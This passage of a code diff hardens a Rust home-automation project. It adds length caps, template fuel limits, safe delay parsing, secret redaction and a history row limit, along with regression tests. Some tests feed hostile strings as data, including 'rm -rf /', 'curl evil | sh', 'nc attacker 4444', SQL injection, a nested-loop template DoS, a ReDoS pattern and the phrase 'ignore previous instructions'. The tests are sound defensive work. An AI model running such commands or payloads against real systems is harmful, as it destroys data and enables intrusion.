+    // never reads them off the WS, the server-side broadcast receiver falls
+    // behind and the NEXT `recv()` yields `Lagged`. We fire synchronously
+    // and don't yield to the WS reader, guaranteeing the overflow.
+    for i in 0..6000u32 {
+        hc.bus().fire_domain(DomainEvent::new(
+            "noise",
+            serde_json::json!({ "i": i }),
+            Context::new(),
+        ));
+    }
+
+    // Now fire the event the client IS subscribed to. On the fixed code the
+    // task recovered from `Lagged` and continues, so this is delivered. On
+    // the old code the task broke on `Lagged` and this never arrives.
+    hc.bus().fire_domain(DomainEvent::new(
+        "lag_probe",
+        serde_json::json!({ "marker": "post-lag" }),
+        Context::new(),
+    ));
+
+    // Drain frames until we see our post-lag event (ignoring any noise the
+    // filter let slip before the lag), bounded by a timeout.
+    let got = tokio::time::timeout(std::time::Duration::from_secs(5), async {
+        loop {
+            let v = next_json(&mut ws).await;
+            if v["type"] == "event" && v["event"]["event_type"] == "lag_probe" {
+                return v;
+            }
+        }
+    })
+    .await
+    .expect(
+        "subscription went silent after a broadcast lag — Lagged was treated \
+         as fatal (HC-WS-LAG-01)",
+    );
+    assert_eq!(got["event"]["data"]["marker"], "post-lag");
+}

v2/crates/homecore-assist/src/embedding.rs

@@ -149,6 +149,44 @@ mod tests {
         assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
     }
 
+    #[test]
+    fn embeddings_are_structurally_finite() {
+        // SECURITY (NaN-poisoning): the embedding path takes only `&str` and
+        // produces values via FNV feature-hashing + a guarded L2 normalise.
+        // There is NO external float input and NO unguarded division, so a
+        // crafted utterance cannot inject NaN/±Inf into a vector and poison the
+        // cosine k-NN match. Prove every component is finite across adversarial
+        // inputs (empty, punctuation-only, unicode, very long, control chars).
+        for s in [
+            "",
+            "!!! ???",
+            "turn on the kitchen light",
+            "🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
+            &"x".repeat(10_000),
+            "NaN inf -inf 1e999",
+        ] {
+            let v = embed(s);
+            assert_eq!(v.len(), EMBEDDING_DIM);
+            assert!(
+                v.iter().all(|x| x.is_finite()),
+                "embedding of {s:?} contained a non-finite component"
+            );
+        }
+    }
+
+    #[test]
+    fn cosine_with_zero_vector_is_finite_not_nan() {
+        // SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
+        // to the zero vector. Cosine against any exemplar must be a finite 0.0,
+        // never NaN — so a below-threshold comparison stays well-defined and the
+        // recognizer falls through (no action) rather than matching on garbage.
+        let zero = embed("!!! ???");
+        let real = embed("turn on the light");
+        let sim = cosine_similarity(&zero, &real);
+        assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
+        assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
+    }
+
     #[test]
     fn identical_text_is_similarity_one() {
         let a = embed("lock the front door");

v2/crates/homecore-assist/src/lib.rs

@@ -47,7 +47,9 @@ pub mod pipeline;
 pub mod embedding;
 
 pub use intent::{Card, Intent, IntentName, IntentResponse};
-pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
+pub use recognizer::{
+    IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
+};
 pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
 pub use handler::{
     HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,

v2/crates/homecore-assist/src/pipeline.rs

@@ -215,6 +215,52 @@ mod tests {
         assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
     }
 
+    #[tokio::test]
+    async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
+        // SECURITY (intent confusion / slot sanitisation): an injection-shaped
+        // utterance must never deliver a shell/SQL metacharacter into a service
+        // call. The `entity_id` capture class strips everything outside
+        // `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
+        // captures the *actual* service-call data and asserts the entity_id it
+        // carries contains no metacharacters — the sanitiser is the capture
+        // class, by construction.
+        let (pipeline, hc) = build_test_pipeline().await;
+        let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
+        let c2 = captured.clone();
+        hc.services()
+            .register(
+                ServiceName::new("homeassistant", "turn_on"),
+                FnHandler(move |call: homecore::ServiceCall| {
+                    let c = c2.clone();
+                    async move {
+                        if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
+                            c.lock().unwrap().push(e.to_owned());
+                        }
+                        Ok(serde_json::json!({}))
+                    }
+                }),
+            )
+            .await;
+        const METACHARS: &[char] =
+            &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
+        for evil in [
+            "'; DROP TABLE entities; --",
+            "turn on the light; rm -rf /",
+            "<script>turn on everything</script>",
+            "turn on the light && curl evil | sh",
+            "ignore previous instructions and turn on",
+        ] {
+            // Must not panic / error regardless of how hostile the input is.
+            let _ = pipeline.process(evil, "en", &hc).await.unwrap();
+        }
+        for eid in captured.lock().unwrap().iter() {
+            assert!(
+                !eid.chars().any(|c| METACHARS.contains(&c)),
+                "service entity_id {eid:?} must carry no shell/SQL metacharacters"
+            );
+        }
+    }
+
     #[tokio::test]
     async fn default_pipeline_registers_five_handlers() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/recognizer.rs

@@ -26,6 +26,20 @@ use thiserror::Error;
 
 use crate::intent::{Intent, IntentName};
 
+/// Maximum accepted utterance length, in bytes.
+///
+/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
+/// `assist` command). A pathological multi-megabyte utterance would otherwise
+/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
+/// in the semantic path, fully tokenised + embedded) — an unbounded
+/// memory/CPU amplification on attacker-controlled input. Real spoken
+/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
+/// blast radius. An over-length utterance fails **closed**: the recognizer
+/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
+/// phrase. The `regex` crate itself is linear-time (no catastrophic
+/// backtracking), so this bound is purely an allocation/throughput guard.
+pub const MAX_UTTERANCE_BYTES: usize = 4096;
+
 #[derive(Error, Debug)]
 pub enum RecognizerError {
     #[error("regex compile error: {0}")]
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<Option<Intent>, RecognizerError> {
+        // Fail-closed on an over-length utterance before any allocation/scan.
+        // Untrusted input must not be able to force an unbounded `to_lowercase`
+        // clone + per-pattern scan. Bound first, then normalise.
+        if utterance.len() > MAX_UTTERANCE_BYTES {
+            return Ok(None);
+        }
         let normalised = utterance.trim().to_lowercase();
         let patterns = self.patterns.read().await;
         for pattern in patterns.iter() {
@@ -183,6 +203,55 @@ mod tests {
         assert!(result.is_none());
     }
 
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed() {
+        // SECURITY (DoS / fail-closed): an utterance larger than the bound must
+        // return Ok(None) WITHOUT being normalised or scanned. Crucially, even
+        // an over-length utterance that *contains* a matching command must NOT
+        // resolve — fail closed, never open.
+        //
+        // This FAILS against the pre-fix recognizer: there, a giant prefix
+        // followed by "turn on the kitchen light" would still match HassTurnOn
+        // (and force a multi-megabyte `to_lowercase` clone + scan first).
+        let r = turn_on_recognizer().await;
+        let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
+        assert!(huge.len() > MAX_UTTERANCE_BYTES);
+
+        let result = r.recognize(&huge, "en").await.unwrap();
+        assert!(
+            result.is_none(),
+            "over-length utterance must fail closed (no intent, no action)"
+        );
+
+        // And a just-under-bound utterance still works, so the cap doesn't
+        // break legitimate (tiny) commands.
+        let ok = r
+            .recognize("turn on the kitchen light", "en")
+            .await
+            .unwrap();
+        assert!(ok.is_some(), "normal-length command must still resolve");
+    }
+
+    #[tokio::test]
+    async fn pathological_backtracking_pattern_completes_in_bounded_time() {
+        // SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
+        // so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
+        // on a crafted adversarial input. This proves the recognizer terminates
+        // promptly on the worst-case input the regex engine is asked to run.
+        let r = RegexIntentRecognizer::new();
+        r.register("Evil", r"(a+)+$", "*").await.unwrap();
+        // Just under the length bound: all 'a' then a 'b' — the classic input
+        // that destroys a backtracking engine. Linear-time regex shrugs.
+        let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
+        let start = std::time::Instant::now();
+        let _ = r.recognize(&evil, "en").await.unwrap();
+        let elapsed = start.elapsed();
+        assert!(
+            elapsed < std::time::Duration::from_secs(2),
+            "linear-time regex must not hang on adversarial input; took {elapsed:?}"
+        );
+    }
+
     #[tokio::test]
     async fn language_filter_skips_non_matching() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/runner.rs

@@ -393,6 +393,63 @@ mod tests {
         assert!(matches!(err, AssistError::ParseError(_)));
     }
 
+    #[tokio::test]
+    async fn shell_metachars_never_survive_into_a_resolved_slot() {
+        // SECURITY (command/argument injection): two layers of defense.
+        //   1. There is NO subprocess — `spawn` is a lifecycle flag and
+        //      `RufloRunnerOpts` is inert, so no argv is ever built.
+        //   2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
+        //      which *excludes* every shell metacharacter. So when an
+        //      injection-shaped utterance DOES resolve (the regex is not exact-
+        //      anchored), the captured slot is a clean token with the hostile
+        //      tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
+        // This pins the slot-sanitisation-by-construction property: a slot value
+        // can never carry a metachar into a (future) argv.
+        let mut runner = LocalRunner::new(turn_on_recognizer().await);
+        runner.spawn(RufloRunnerOpts::default()).await.unwrap();
+        const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
+        for evil in [
+            "turn on the light; rm -rf /",
+            "turn on the light && shutdown -h now",
+            "turn on the light | nc attacker 4444",
+            "turn on the light `curl evil.sh | sh`",
+            "turn on the light $(reboot)",
+        ] {
+            let resp = runner
+                .send_request(serde_json::json!({"utterance": evil, "language": "en"}))
+                .await
+                .unwrap();
+            if let Some(intent) = resp.intent {
+                if let Some(eid) = intent.entity_id() {
+                    assert!(
+                        !eid.chars().any(|c| METACHARS.contains(&c)),
+                        "resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
+                    );
+                }
+            }
+        }
+    }
+
+    #[tokio::test]
+    async fn runner_opts_are_inert_no_process_spawned() {
+        // SECURITY (command injection): even a hostile `script_path` / `env` in
+        // RufloRunnerOpts is never consumed — `spawn` launches no process. This
+        // documents-and-pins that the data-gated P2 subprocess is genuinely
+        // absent (confirmed Noop/Local, no spawn surface today).
+        let mut env = std::collections::HashMap::new();
+        env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
+        let opts = RufloRunnerOpts {
+            script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
+            env,
+            timeout_ms: 1,
+        };
+        let mut runner = NoopRunner::new();
+        // No panic, no spawn, no error — the opts are pure data.
+        assert!(runner.spawn(opts.clone()).await.is_ok());
+        let mut local = LocalRunner::new(turn_on_recognizer().await);
+        assert!(local.spawn(opts).await.is_ok());
+    }
+
     #[tokio::test]
     async fn local_runner_send_before_spawn_is_not_started() {
         let runner = LocalRunner::new(turn_on_recognizer().await);

v2/crates/homecore-assist/src/semantic_recognizer.rs

@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
+        // Fail-closed on an over-length utterance before embedding/scanning.
+        // Untrusted input must not force an unbounded `to_lowercase` clone +
+        // full tokenisation/embedding. Mirrors the regex recognizer's bound.
+        if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
+            return Ok((None, None));
+        }
         if let Some((id, similarity)) = self.nearest(utterance, language).await {
             if similarity >= self.threshold {
                 let inner = self.index.read().await;
@@ -228,6 +234,32 @@ mod tests {
         r
     }
 
+    #[tokio::test]
+    async fn empty_utterance_against_empty_index_no_panic_no_match() {
+        // SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
+        // empty index must not panic and must yield no intent — the recognizer
+        // falls through to the (also empty) regex fallback. Proves the empty-
+        // iterator `max_by` path returns None cleanly.
+        let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
+        let result = semantic.recognize("", "en").await.unwrap();
+        assert!(result.is_none(), "empty utterance must produce no intent / no action");
+    }
+
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed_semantic() {
+        // SECURITY (DoS / fail-closed): an over-length utterance must short-
+        // circuit before embedding/scanning, returning no intent — even if it
+        // textually contains an enrolled/fallback-matchable command.
+        let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
+        let huge = format!(
+            "{} turn on the kitchen light",
+            "a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
+        );
+        assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
+        let result = semantic.recognize(&huge, "en").await.unwrap();
+        assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
+    }
+
     #[tokio::test]
     async fn semantic_recognizer_delegates_to_fallback() {
         // No exemplars enrolled → empty HNSW index → pure regex fallback.

v2/crates/homecore-automation/Cargo.toml

@@ -29,8 +29,10 @@ serde = { version = "1", features = ["derive"] }
 serde_yaml = "0.9"
 serde_json = "1"
 
-# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1)
-minijinja = { version = "2", features = ["json", "loader"] }
+# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1).
+# `fuel` bounds instruction count so a malicious `template:` condition cannot
+# spin the engine with a nested-loop / huge-repeat DoS (HC-SEC-01).
+minijinja = { version = "2", features = ["json", "loader", "fuel"] }
 
 # Error handling
 thiserror = "1"

v2/crates/homecore-automation/src/action.rs

@@ -70,6 +70,32 @@ impl ExecutionContext {
     }
 }
 
+/// Upper bound for a `delay` / `wait_for_trigger` timeout, in seconds
+/// (~100 years). Caps absurd values so `Duration::from_secs_f64` cannot
+/// overflow-panic on e.g. `seconds: 1e308`, while still allowing any
+/// realistic automation delay (HC-SEC-02).
+const MAX_DELAY_SECS: f64 = 3.15e9;
+
+/// Convert a user-supplied seconds value into a `Duration` without
+/// panicking (HC-SEC-02).
+///
+/// `Duration::from_secs_f64` **panics** on negative, NaN, infinite, or
+/// overflowing inputs. Those values are all reachable from a crafted
+/// automation YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`), so a
+/// single hostile config would crash the running automation task. We
+/// instead saturate to a safe range — matching Home Assistant's lenient
+/// treatment of a non-positive delay as "no delay":
+///
+/// - non-finite (NaN / ±inf) → `0`
+/// - negative → `0`
+/// - above [`MAX_DELAY_SECS`] → clamped to the cap
+fn safe_duration_from_secs(seconds: f64) -> Duration {
+    if !seconds.is_finite() || seconds <= 0.0 {
+        return Duration::ZERO;
+    }
+    Duration::from_secs_f64(seconds.min(MAX_DELAY_SECS))
+}
+
 /// Action configuration. Deserialized from YAML `action:` blocks.
 #[derive(Clone, Debug, Serialize, Deserialize)]
 #[serde(tag = "action", rename_all = "snake_case")]
@@ -154,7 +180,10 @@ impl Action {
                     Ok(result)
                 }
                 Action::Delay { seconds } => {
-                    let dur = Duration::from_secs_f64(*seconds);
+                    // `safe_duration_from_secs` guards against negative /
+                    // NaN / infinite / overflowing values that would
+                    // otherwise panic `Duration::from_secs_f64` (HC-SEC-02).
+                    let dur = safe_duration_from_secs(*seconds);
                     sleep(dur).await;
                     Ok(serde_json::Value::Null)
                 }
@@ -172,7 +201,8 @@ impl Action {
                     // P1 stub — just sleeps for the timeout duration if specified.
                     // Full trigger subscription lands in P2.
                     if let Some(secs) = timeout_seconds {
-                        sleep(Duration::from_secs_f64(*secs)).await;
+                        // Same non-panicking guard as `Delay` (HC-SEC-02).
+                        sleep(safe_duration_from_secs(*secs)).await;
                     }
                     Ok(serde_json::Value::Null)
                 }
@@ -243,6 +273,68 @@ mod tests {
         assert!(result.is_null());
     }
 
+    // ── HC-SEC-02: a crafted delay must not panic the run task ─────────
+    //
+    // `Duration::from_secs_f64` panics on negative / NaN / infinite /
+    // overflowing inputs, all reachable from a YAML `delay:` value. On the
+    // pre-fix code each of these aborts the spawned automation task with a
+    // panic; the guard saturates to a safe Duration instead. These tests
+    // fail on old (panic = test failure).
+    #[tokio::test]
+    async fn delay_negative_seconds_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
+        let result = Action::Delay { seconds: -1.0 }.execute(&mut ctx).await;
+        assert!(result.is_ok(), "negative delay must be treated as 0, not panic");
+    }
+
+    #[tokio::test]
+    async fn delay_nan_seconds_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
+        let result = Action::Delay { seconds: f64::NAN }.execute(&mut ctx).await;
+        assert!(result.is_ok(), "NaN delay must be treated as 0, not panic");
+    }
+
+    #[tokio::test]
+    async fn delay_infinite_seconds_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
+        let result = Action::Delay { seconds: f64::INFINITY }.execute(&mut ctx).await;
+        assert!(result.is_ok(), "infinite delay must saturate to 0, not panic");
+    }
+
+    // Note: the overflow case (1e300) is covered by the synchronous
+    // `safe_duration_saturates_hostile_values` unit test below — executing
+    // `Action::Delay { seconds: 1e300 }` would genuinely sleep for the
+    // clamped (~100-year) duration, so we assert the conversion directly
+    // rather than through `execute`.
+
+    #[tokio::test]
+    async fn wait_for_trigger_negative_timeout_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
+        let result = Action::WaitForTrigger { timeout_seconds: Some(-5.0) }
+            .execute(&mut ctx)
+            .await;
+        assert!(result.is_ok(), "negative wait timeout must not panic");
+    }
+
+    #[test]
+    fn safe_duration_saturates_hostile_values() {
+        assert_eq!(safe_duration_from_secs(-1.0), Duration::ZERO);
+        assert_eq!(safe_duration_from_secs(f64::NAN), Duration::ZERO);
+        assert_eq!(safe_duration_from_secs(f64::INFINITY), Duration::ZERO);
+        assert_eq!(safe_duration_from_secs(f64::NEG_INFINITY), Duration::ZERO);
+        // legitimate value preserved
+        assert_eq!(safe_duration_from_secs(2.5), Duration::from_secs_f64(2.5));
+        // huge value clamped to the cap, not overflow-panicked
+        assert_eq!(
+            safe_duration_from_secs(1e300),
+            Duration::from_secs_f64(MAX_DELAY_SECS)
+        );
+    }
+
     #[tokio::test]
     async fn service_call_unregistered_returns_error() {
         let hc = HomeCore::new();

v2/crates/homecore-automation/src/template.rs

@@ -13,6 +13,26 @@ use homecore::{EntityId, StateMachine};
 
 use crate::error::AutomationError;
 
+/// Instruction budget for a single template render (HC-SEC-01).
+///
+/// Templates come from user automation config; without a bound a single
+/// `template:` condition like
+/// `{% for i in range(10000) %}{% for j in range(10000) %}x{% endfor %}{% endfor %}`
+/// renders a multi-gigabyte string and pins a CPU for tens of seconds —
+/// a memory/CPU denial-of-service (the bfld-class "unbounded expansion").
+/// MiniJinja's `fuel` feature charges ~1 unit per VM instruction; a
+/// nested loop burns one unit per iteration, so the budget caps total
+/// work regardless of how the loops are nested. 1,000,000 instructions is
+/// far more than any legitimate HA template needs (a typical condition is
+/// a few dozen) while killing the attack in well under a second.
+const TEMPLATE_FUEL: u64 = 1_000_000;
+
+/// Hard cap on the source length of a template (HC-SEC-01, defense in
+/// depth). A legitimate HA `value_template` is a one-liner; anything past
+/// 64 KiB is rejected before compilation so a pathological source string
+/// can neither be compiled nor emitted verbatim.
+const MAX_TEMPLATE_SOURCE_BYTES: usize = 64 * 1024;
+
 /// MiniJinja environment pre-loaded with HA-compatible globals.
 ///
 /// Constructed once per `AutomationEngine` and shared via `Arc`. The
@@ -27,6 +47,10 @@ impl TemplateEnvironment {
     pub fn new(states: Arc<StateMachine>) -> Self {
         let mut env = Environment::new();
 
+        // Bound per-render work so a hostile `template:` condition cannot
+        // DoS the engine via nested loops / huge repeats (HC-SEC-01).
+        env.set_fuel(Some(TEMPLATE_FUEL));
+
         // --- states(entity_id) ---
         // Returns the current state string of an entity, or "unavailable".
         let states_sm = Arc::clone(&states);
@@ -88,7 +112,21 @@ impl TemplateEnvironment {
     }
 
     /// Render a template string and return the string output.
+    ///
+    /// Renders are bounded by an instruction budget ([`TEMPLATE_FUEL`]) and
+    /// a source-length cap ([`MAX_TEMPLATE_SOURCE_BYTES`]); a malicious
+    /// template that exhausts the budget returns a [`AutomationError::TemplateRender`]
+    /// error rather than running unbounded (HC-SEC-01).
     pub fn render(&self, template_str: &str) -> Result<String, AutomationError> {
+        // Reject pathologically large sources before compilation (defense
+        // in depth — fuel already bounds runtime work).
+        if template_str.len() > MAX_TEMPLATE_SOURCE_BYTES {
+            return Err(AutomationError::TemplateRender(format!(
+                "template source too large: {} bytes (max {})",
+                template_str.len(),
+                MAX_TEMPLATE_SOURCE_BYTES
+            )));
+        }
         // Wrap bare expressions like `{{ states('light.kitchen') }}`
         // in a minimal template wrapper.
         let tmpl = self
@@ -191,4 +229,68 @@ mod tests {
         assert!(!env.render_bool("0").unwrap());
         assert!(!env.render_bool("off").unwrap());
     }
+
+    // ── HC-SEC-01: template DoS is bounded by fuel ─────────────────────
+    //
+    // A `template:` condition is user config. Before the fuel bound a
+    // nested-loop template rendered a multi-GB string over ~11 s (proven
+    // empirically). With fuel enabled it must fail FAST with an error
+    // instead of expanding unboundedly. On the pre-fix code (no `fuel`
+    // feature / `set_fuel`) this render succeeds and burns CPU+RAM, so
+    // this test fails on old (it would `Ok` and exceed the time bound).
+    #[test]
+    fn nested_loop_template_is_bounded_not_unbounded_dos() {
+        use std::time::Instant;
+        let sm = Arc::new(StateMachine::new());
+        let env = TemplateEnvironment::new(sm);
+        // 5000 * 5000 = 25M iterations on the old engine (~100 MB, ~11 s).
+        let malicious =
+            "{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}";
+        let start = Instant::now();
+        let result = env.render(malicious);
+        let elapsed = start.elapsed();
+        assert!(
+            result.is_err(),
+            "malicious nested-loop template must be rejected (ran out of fuel), got Ok"
+        );
+        assert!(
+            elapsed.as_secs() < 3,
+            "bounded render must fail fast; took {elapsed:?} (unbounded DoS on old engine)"
+        );
+    }
+
+    // ── HC-SEC-01: a single huge repeat is also bounded ────────────────
+    #[test]
+    fn single_huge_repeat_template_is_bounded() {
+        let sm = Arc::new(StateMachine::new());
+        let env = TemplateEnvironment::new(sm);
+        // range() caps at 10k per call, but multiplied bodies still need a
+        // bound; drive enough instructions to exhaust fuel via deep nesting.
+        let malicious = "{% for a in range(9999) %}{% for b in range(9999) %}\
+            {% for c in range(9999) %}z{% endfor %}{% endfor %}{% endfor %}";
+        let result = env.render(malicious);
+        assert!(result.is_err(), "deeply nested loops must exhaust fuel and error");
+    }
+
+    // ── HC-SEC-01: oversized template source is rejected pre-compile ───
+    #[test]
+    fn oversized_template_source_is_rejected() {
+        let sm = Arc::new(StateMachine::new());
+        let env = TemplateEnvironment::new(sm);
+        // 128 KiB of literal text — exceeds MAX_TEMPLATE_SOURCE_BYTES.
+        let big = "x".repeat(128 * 1024);
+        let result = env.render(&big);
+        assert!(result.is_err(), "oversized template source must be rejected");
+    }
+
+    // ── A legitimate small template still renders fine within budget ───
+    #[test]
+    fn legitimate_template_still_renders_within_fuel() {
+        let sm = sm_with("light.kitchen", "on", serde_json::json!({}));
+        let env = TemplateEnvironment::new(sm);
+        // A normal HA condition with a modest loop — well under budget.
+        let ok = "{% for i in range(50) %}{{ states('light.kitchen') }}{% endfor %}";
+        let out = env.render(ok).expect("legitimate template must render");
+        assert!(out.contains("on"));
+    }
 }

v2/crates/homecore-migrate/src/lib.rs

@@ -55,6 +55,25 @@ pub enum MigrateError {
         source: serde_yaml::Error,
     },
 
+    /// Parse failure in a SECRET-bearing file (`secrets.yaml`).
+    ///
+    /// Unlike [`MigrateError::YamlParse`], this variant deliberately does NOT
+    /// embed the underlying `serde_yaml::Error` message — that message can quote
+    /// the offending scalar verbatim (e.g. a typed-tag coercion error renders
+    /// `invalid value: string "<the-secret-value>"`), which would leak a secret
+    /// into stderr/logs. We carry only the file path plus a coarse line/column
+    /// so the user can locate the problem without the value being printed.
+    /// (ADR-165 secret-handling rule: a secret value must never appear in output.)
+    #[error(
+        "secrets.yaml parse error in {path} (line {line}, column {column}): \
+         malformed YAML (value content redacted)"
+    )]
+    SecretsParse {
+        path: String,
+        line: usize,
+        column: usize,
+    },
+
     /// Fired when the outer `{version, minor_version}` envelope version is
     /// known but the `minor_version` is not supported by any compiled parser.
     /// Per ADR-165 §6 Q5: hard error on unknown minor_version.

v2/crates/homecore-migrate/src/secrets.rs

@@ -33,11 +33,19 @@ pub fn read_secrets(path: &Path) -> Result<HashMap<String, String>, MigrateError
         return Ok(HashMap::new());
     }
 
-    let parsed: serde_yaml::Value =
-        serde_yaml::from_str(&raw).map_err(|e| MigrateError::YamlParse {
+    // SECURITY: do NOT use `MigrateError::YamlParse` here. serde_yaml error
+    // messages can quote the offending scalar verbatim (a typed-tag coercion
+    // error renders `invalid value: string "<the-secret-value>"`), and that
+    // message would be printed to stderr by the CLI — leaking a secret value.
+    // `MigrateError::SecretsParse` carries only the path + line/column.
+    let parsed: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|e| {
+        let loc = e.location();
+        MigrateError::SecretsParse {
             path: path.display().to_string(),
-            source: e,
-        })?;
+            line: loc.as_ref().map_or(0, |l| l.line()),
+            column: loc.as_ref().map_or(0, |l| l.column()),
+        }
+    })?;
 
     let map = match parsed {
         serde_yaml::Value::Mapping(m) => m,
@@ -94,6 +102,59 @@ mod tests {
         assert!(secrets.is_empty());
     }
 
+    /// SECURITY regression (fails on the pre-fix `YamlParse` path): a malformed
+    /// `secrets.yaml` whose offending scalar is a secret value must NOT have that
+    /// value rendered in the returned error. serde_yaml's own error message for a
+    /// typed-tag coercion failure embeds the scalar verbatim
+    /// (`invalid value: string "<secret>"`); the old code wrapped that message
+    /// into `MigrateError::YamlParse { source }`, so `Display` leaked the secret.
+    #[test]
+    fn malformed_secrets_error_never_contains_secret_value() {
+        // `!!int` forces integer coercion of a string scalar; serde_yaml reports
+        // the scalar text in its message. The scalar here is a stand-in secret.
+        let yaml = "api_port: !!int s3cr3t_TOKEN_VALUE\n";
+        let mut f = NamedTempFile::new().unwrap();
+        f.write_all(yaml.as_bytes()).unwrap();
+
+        let err = read_secrets(f.path()).unwrap_err();
+        let rendered = err.to_string();
+
+        // The secret VALUE must never appear in the error output...
+        assert!(
+            !rendered.contains("s3cr3t_TOKEN_VALUE"),
+            "secret value leaked into error: {rendered}"
+        );
+        // ...and the full chain (with #[source]) must also be clean, since the
+        // CLI/anyhow prints the source chain too.
+        let mut source = std::error::Error::source(&err);
+        while let Some(s) = source {
+            assert!(
+                !s.to_string().contains("s3cr3t_TOKEN_VALUE"),
+                "secret value leaked into error source chain: {s}"
+            );
+            source = s.source();
+        }
+
+        // It should still be a structured, locatable error (fail-closed).
+        assert!(
+            matches!(err, MigrateError::SecretsParse { .. }),
+            "expected SecretsParse, got: {err:?}"
+        );
+    }
+
+    /// A secret KEY name is non-sensitive context and is fine to surface, but the
+    /// redacting error must still help the user locate the problem (line/column).
+    #[test]
+    fn malformed_secrets_error_reports_location() {
+        let yaml = "api_port: !!int notanumber\n";
+        let mut f = NamedTempFile::new().unwrap();
+        f.write_all(yaml.as_bytes()).unwrap();
+        let err = read_secrets(f.path()).unwrap_err();
+        let rendered = err.to_string();
+        assert!(rendered.contains("line"), "should report a line: {rendered}");
+        assert!(rendered.contains("redacted"), "should signal redaction: {rendered}");
+    }
+
     #[test]
     fn secret_count_is_correct() {
         let yaml = "a: 1\nb: 2\nc: 3\n";

v2/crates/homecore-recorder/src/db.rs

@@ -25,6 +25,15 @@ use homecore::event::{DomainEvent, StateChangedEvent};
 use crate::dedup::fnv64a_hash;
 use crate::schema::ALL_DDL;
 
+/// Hard upper bound on rows returned by [`Recorder::get_state_history`].
+///
+/// Without this cap a wide `[since, until]` window over a high-frequency entity
+/// would load an unbounded number of rows into memory (a memory-DoS). The value
+/// is deliberately generous — large enough never to truncate a realistic
+/// history-graph query, small enough to bound the worst case. Callers needing a
+/// wider span page by narrowing the window.
+pub const MAX_HISTORY_ROWS: i64 = 1_000_000;
+
 /// Errors returned by `Recorder` operations.
 #[derive(Error, Debug)]
 pub enum RecorderError {
@@ -380,7 +389,17 @@ impl Recorder {
     }
 
     /// Query state history for `entity_id` between `since` and `until`.
-    /// Returns state snapshots in ascending `last_updated_ts` order.
+    /// Returns state snapshots in ascending `last_updated_ts` order, capped at
+    /// [`MAX_HISTORY_ROWS`] rows (oldest-first within the window).
+    ///
+    /// ## Bounded result set (memory-DoS guard)
+    ///
+    /// A high-frequency entity (e.g. a power sensor polled per-second) writes
+    /// ~86k rows/day; a wide `[since, until]` window over months would otherwise
+    /// load millions of rows into a single in-memory `Vec`, an unbounded-memory
+    /// denial-of-service. The query therefore carries a hard `LIMIT` so the
+    /// working set is bounded regardless of the requested time range. Callers
+    /// that genuinely need a wider span must page by narrowing the window.
     pub async fn get_state_history(
         &self,
         entity_id: &EntityId,
@@ -398,11 +417,13 @@ impl Recorder {
              WHERE s.entity_id = ? \
                AND s.last_updated_ts >= ? \
                AND s.last_updated_ts <= ? \
-             ORDER BY s.last_updated_ts ASC",
+             ORDER BY s.last_updated_ts ASC \
+             LIMIT ?",
         )
         .bind(entity_id.as_str())
         .bind(since_ts)
         .bind(until_ts)
+        .bind(MAX_HISTORY_ROWS)
         .fetch_all(&self.pool)
         .await?;
 
@@ -426,6 +447,79 @@ impl Recorder {
             })
             .collect()
     }
+
